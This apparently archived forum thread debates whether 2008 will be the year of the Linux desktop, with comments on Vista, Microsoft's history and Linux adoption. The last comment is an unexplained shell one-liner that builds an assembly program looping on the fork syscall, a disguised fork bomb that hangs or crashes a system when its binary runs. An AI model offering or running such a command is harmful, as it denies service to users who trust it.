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2008 - Year of Linux Desktop?
rstrohmeyer writes "Over at Maximum PC, we're betting that Linux will pick up unprecedented momentum in the coming year. With phenomenal new distros, swelling international support, and a little extra momentum from Dell, we think Linux is poised to exploit the current atmosphere of doubt surrounding Vista and pick up serious traction in '08. 'For end users here in North America, Linux poses a low barrier to entry. While many still balk at an upgrade to Vista (typically centered around cost and restrictive licensing terms), those who are curious about the open-source alternative will find few of these obstacles. And an increasingly rich array of ready-to-run software (not to mention surprisingly effective utilities that let you run many Windows apps) makes it easy switch ... Ultimately, I'm not predicting that Linux will take over the market next year. Or anytime soon, for that matter. But if there's ever been a time to try out the world's leading free OS, 2008 will be that time. I am predicting that users will switch to Linux in record numbers next year. And many will never look back.'"
At what point would it be possible to quantify that 'yes, this IS the year!'... when there is 100,000 users? 500,000 users? 10,000,000 users?
It's hard to put your finger on, but all the relative pieces are in place. If you look back to the early 1990s and Dell, you can see the same thing for GNU/Linux today. It's good enough, it's cheaper than the alternatives and better in key ways due to sharp competition. GNU/Linux systems can deliver what people want from their computers and it's seeping in just like the WinTel monster did.
What happened in the early 90's? People got a box that worked when you turned it on and could be expanded. I had mine running for a good six years. I got better printers, scanners and "upgraded" to 95, and I never had to wipe and reload it until I decided it was time for GNU/Linux. This was very cool. People and small businesses jumped on it for writing their papers and basic organization. It slowly filtered into the corporate world.
M$ has fallen slowly since then. 95, 98, and finally XP each lost things. Split views got dropped from file browsers. There were odd configuration interface and file changes leading up to the ongoing registry disaster. Stability has suffered and has come to a sad point where people think they must wipe and reload their machines once a month. Most importantly, the platform lost it's competitive edge as M$ crushed smaller companies and their superior products. Word Perfect, Lotus, Netscape, QuatroPro, Peachtree and so on. Gaming got better, but so did dedicated consoles which are a lot cheaper.
Let's go down the GNU/Linux list today. Network, check. Printing - check. Media - check. Productivity is good enough. Games - well, there are some problems with accelerated graphics but it's there for real enthusiasts. The real killer feature is freedom, much like Windows 3.1 provided but real this time. It's already made a beach head at the biggest and brightest companies. With it people have jumped on it for writing their papers and basic organization. The year of GNU/Linux really is here.
Friends don't help friends install M$ junk.
numbers without context are just - well, numbers.
But context without numbers is - well, bullshit.
Friends don't help friends install M$ junk.
Heh...I've been hearing this since 2001. I even tried for two years, but moved back to Windows.
As a gay man, I take positive representations where I can get them. Any time a same-gender relationship is portrayed in a positive but very real light benefits us all. The same can be said of Linux, which, much like being gay, will likely remain a minority OS in the a world that seems married to proprietary software, and never really "come out of the closet" and be truly ready for acceptance the desktop.
Does that mean if someone forces you to use Linux it's like going to prison?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;